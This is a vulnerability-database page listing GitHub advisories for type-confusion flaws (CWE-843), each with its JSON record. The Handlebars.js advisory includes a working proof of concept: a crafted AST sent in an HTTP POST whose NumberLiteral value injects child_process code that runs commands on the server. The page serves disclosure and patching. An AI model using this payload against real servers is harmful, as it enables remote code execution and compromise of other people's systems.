Common Weakness Enumeration
CWE-843
AllowedAccess of Resource Using Incompatible Type ('Type Confusion')
Abstraction: Base · Status: Incomplete
The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.
1041 vulnerabilities reference this CWE, most recent first.
GHSA-2QWW-MX2P-2V4M
Vulnerability from github – Published: 2025-01-28 00:32 – Updated: 2025-01-28 15:31
VLAI
Details
A type confusion issue was addressed with improved memory handling. This issue is fixed in macOS Sequoia 15.2, iOS 18.2 and iPadOS 18.2. An attacker with user privileges may be able to read kernel memory.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-54507"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-27T22:15:12Z",
"severity": "MODERATE"
},
"details": "A type confusion issue was addressed with improved memory handling. This issue is fixed in macOS Sequoia 15.2, iOS 18.2 and iPadOS 18.2. An attacker with user privileges may be able to read kernel memory.",
"id": "GHSA-2qww-mx2p-2v4m",
"modified": "2025-01-28T15:31:56Z",
"published": "2025-01-28T00:32:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54507"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121837"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121839"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2V3R-26J9-RJQH
Vulnerability from github – Published: 2024-08-24 00:30 – Updated: 2024-08-24 00:30
VLAI
Details
Microsoft Edge (HTML-based) Memory Corruption Vulnerability
Severity
6.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-38207"
],
"database_specific": {
"cwe_ids": [
"CWE-787",
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-23T23:15:08Z",
"severity": "MODERATE"
},
"details": "Microsoft Edge (HTML-based) Memory Corruption Vulnerability",
"id": "GHSA-2v3r-26j9-rjqh",
"modified": "2024-08-24T00:30:29Z",
"published": "2024-08-24T00:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38207"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38207"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-2V7J-WFPJ-JG3J
Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 18:31
VLAI
Details
Type Confusion in ANGLE in Google Chrome prior to 150.0.7871.47 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)
Severity
9.6 (Critical)
{
"affected": [],
"aliases": [
"CVE-2026-13883"
],
"database_specific": {
"cwe_ids": [
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T23:17:02Z",
"severity": "CRITICAL"
},
"details": "Type Confusion in ANGLE in Google Chrome prior to 150.0.7871.47 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-2v7j-wfpj-jg3j",
"modified": "2026-07-01T18:31:31Z",
"published": "2026-07-01T00:34:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13883"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0175352312.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/500030250"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2VM8-9Q6F-6VXG
Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2022-05-24 17:40
VLAI
Details
A flaw was discovered in ldap_X509dn2bv in OpenLDAP before 2.4.57 leading to a slapd crash in the X.509 DN parsing in ad_keystring, resulting in denial of service.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2020-36229"
],
"database_specific": {
"cwe_ids": [
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-26T18:15:00Z",
"severity": "HIGH"
},
"details": "A flaw was discovered in ldap_X509dn2bv in OpenLDAP before 2.4.57 leading to a slapd crash in the X.509 DN parsing in ad_keystring, resulting in denial of service.",
"id": "GHSA-2vm8-9q6f-6vxg",
"modified": "2022-05-24T17:40:18Z",
"published": "2022-05-24T17:40:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36229"
},
{
"type": "WEB",
"url": "https://bugs.openldap.org/show_bug.cgi?id=9425"
},
{
"type": "WEB",
"url": "https://git.openldap.org/openldap/openldap/-/commit/4bdfffd2889c0c5cdf58bebafbdc8fce4bb2bff0"
},
{
"type": "WEB",
"url": "https://git.openldap.org/openldap/openldap/-/tags/OPENLDAP_REL_ENG_2_4_57"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r58af02e294bd07f487e2c64ffc0a29b837db5600e33b6e698b9d696b@%3Cissues.bookkeeper.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf4c02775860db415b4955778a131c2795223f61cb8c6a450893651e4@%3Cissues.bookkeeper.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/02/msg00005.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20210226-0002"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT212529"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT212530"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT212531"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2021/dsa-4845"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2021/May/64"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2021/May/65"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2021/May/70"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2VV6-FVMM-G8R3
Vulnerability from github – Published: 2026-07-14 18:32 – Updated: 2026-07-14 18:32
VLAI
Details
Access of resource using incompatible type ('type confusion') in Composite Image File System Driver allows an authorized attacker to disclose information locally.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-50381"
],
"database_specific": {
"cwe_ids": [
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T17:17:01Z",
"severity": "MODERATE"
},
"details": "Access of resource using incompatible type (\u0027type confusion\u0027) in Composite Image File System Driver allows an authorized attacker to disclose information locally.",
"id": "GHSA-2vv6-fvmm-g8r3",
"modified": "2026-07-14T18:32:05Z",
"published": "2026-07-14T18:32:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50381"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2W6W-674Q-4C4Q
Vulnerability from github – Published: 2026-03-27 18:19 – Updated: 2026-03-27 21:52
VLAI
Summary
Handlebars.js has JavaScript Injection via AST Type Confusion
Details
Summary
Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:
// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;
Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.
Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.
Proof of Concept
Server-side Express application that passes req.body.text to Handlebars.compile():
import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
let text = req.body.text;
let template = Handlebars.compile(text);
let result = template();
res.send(result);
});
app.listen(2123);
POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123
{
"text": {
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
]
}
}
The response body will contain the output of the id command executed on the server.
Workarounds
- Validate input type before calling
Handlebars.compile(): ensure the argument is always astring, never a plain object or JSON-deserialized value.javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } - Use the Handlebars runtime-only build (
handlebars/runtime) on the server if templates are pre-compiled at build time;compile()will be unavailable.
Severity
9.8 (Critical)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33937"
],
"database_specific": {
"cwe_ids": [
"CWE-843",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:19:58Z",
"nvd_published_at": "2026-03-27T21:17:27Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule(\u0027child_process\u0027).execFileSync(\u0027id\u0027).toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) =\u003e {\n let text = req.body.text;\n let template = Handlebars.compile(text);\n let result = template();\n res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n \"text\": {\n \"type\": \"Program\",\n \"body\": [\n {\n \"type\": \"MustacheStatement\",\n \"path\": {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [\"lookup\"],\n \"original\": \"lookup\",\n \"loc\": null\n },\n \"params\": [\n {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [],\n \"original\": \"this\",\n \"loc\": null\n },\n {\n \"type\": \"NumberLiteral\",\n \"value\": \"{},{})) + process.getBuiltinModule(\u0027child_process\u0027).execFileSync(\u0027id\u0027).toString() //\",\n \"original\": 1,\n \"loc\": null\n }\n ],\n \"escaped\": true,\n \"strip\": { \"open\": false, \"close\": false },\n \"loc\": null\n }\n ]\n }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value.\n ```javascript\n if (typeof templateInput !== \u0027string\u0027) {\n throw new TypeError(\u0027Template must be a string\u0027);\n }\n ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.",
"id": "GHSA-2w6w-674q-4c4q",
"modified": "2026-03-27T21:52:17Z",
"published": "2026-03-27T18:19:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33937"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has JavaScript Injection via AST Type Confusion"
}
GHSA-2WRV-MV5P-JX2G
Vulnerability from github – Published: 2022-05-24 17:04 – Updated: 2022-05-24 17:04
VLAI
Details
Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 12.3, macOS Mojave 10.14.5, tvOS 12.3, Safari 12.1.1, iTunes for Windows 12.9.5, iCloud for Windows 7.12. Processing maliciously crafted web content may lead to arbitrary code execution.
{
"affected": [],
"aliases": [
"CVE-2019-8597"
],
"database_specific": {
"cwe_ids": [
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-12-18T18:15:00Z",
"severity": "MODERATE"
},
"details": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 12.3, macOS Mojave 10.14.5, tvOS 12.3, Safari 12.1.1, iTunes for Windows 12.9.5, iCloud for Windows 7.12. Processing maliciously crafted web content may lead to arbitrary code execution.",
"id": "GHSA-2wrv-mv5p-jx2g",
"modified": "2022-05-24T17:04:17Z",
"published": "2022-05-24T17:04:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-8597"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT210118"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT210119"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT210120"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT210123"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT210124"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT210125"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT210212"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2XCH-5969-PHFH
Vulnerability from github – Published: 2025-04-05 06:30 – Updated: 2025-04-05 06:30
VLAI
Details
A type confusion vulnerability in lib/NSSAuthenticator.php in ZendTo before v5.04-7 allows remote attackers to bypass authentication for users with passwords stored as MD5 hashes that can be interpreted as numbers. A solution requires moving from MD5 to bcrypt.
Severity
4.8 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-32352"
],
"database_specific": {
"cwe_ids": [
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-05T05:15:44Z",
"severity": "MODERATE"
},
"details": "A type confusion vulnerability in lib/NSSAuthenticator.php in ZendTo before v5.04-7 allows remote attackers to bypass authentication for users with passwords stored as MD5 hashes that can be interpreted as numbers. A solution requires moving from MD5 to bcrypt.",
"id": "GHSA-2xch-5969-phfh",
"modified": "2025-04-05T06:30:20Z",
"published": "2025-04-05T06:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32352"
},
{
"type": "WEB",
"url": "https://projectblack.io/blog/zendto-nday-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2XHP-FVVW-3838
Vulnerability from github – Published: 2024-12-19 00:37 – Updated: 2025-01-07 18:30
VLAI
Details
Type Confusion in V8 in Google Chrome prior to 131.0.6778.204 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)
Severity
8.8 (High)
{
"affected": [],
"aliases": [
"CVE-2024-12692"
],
"database_specific": {
"cwe_ids": [
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-18T22:15:05Z",
"severity": "HIGH"
},
"details": "Type Confusion in V8 in Google Chrome prior to 131.0.6778.204 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)",
"id": "GHSA-2xhp-fvvw-3838",
"modified": "2025-01-07T18:30:46Z",
"published": "2024-12-19T00:37:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12692"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2024/12/stable-channel-update-for-desktop_18.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/382291459"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-325G-M22Q-HMGJ
Vulnerability from github – Published: 2024-05-03 03:31 – Updated: 2024-05-03 03:31
VLAI
Details
Ashlar-Vellum Cobalt AR File Parsing Type Confusion Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Ashlar-Vellum Cobalt. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the parsing of AR files. The issue results from the lack of proper validation of user-supplied data, which can result in a type confusion condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-20562.
Severity
7.0 (High)
{
"affected": [],
"aliases": [
"CVE-2023-42105"
],
"database_specific": {
"cwe_ids": [
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-03T03:15:48Z",
"severity": "HIGH"
},
"details": "Ashlar-Vellum Cobalt AR File Parsing Type Confusion Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Ashlar-Vellum Cobalt. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of AR files. The issue results from the lack of proper validation of user-supplied data, which can result in a type confusion condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-20562.",
"id": "GHSA-325g-m22q-hmgj",
"modified": "2024-05-03T03:31:02Z",
"published": "2024-05-03T03:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42105"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1454"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.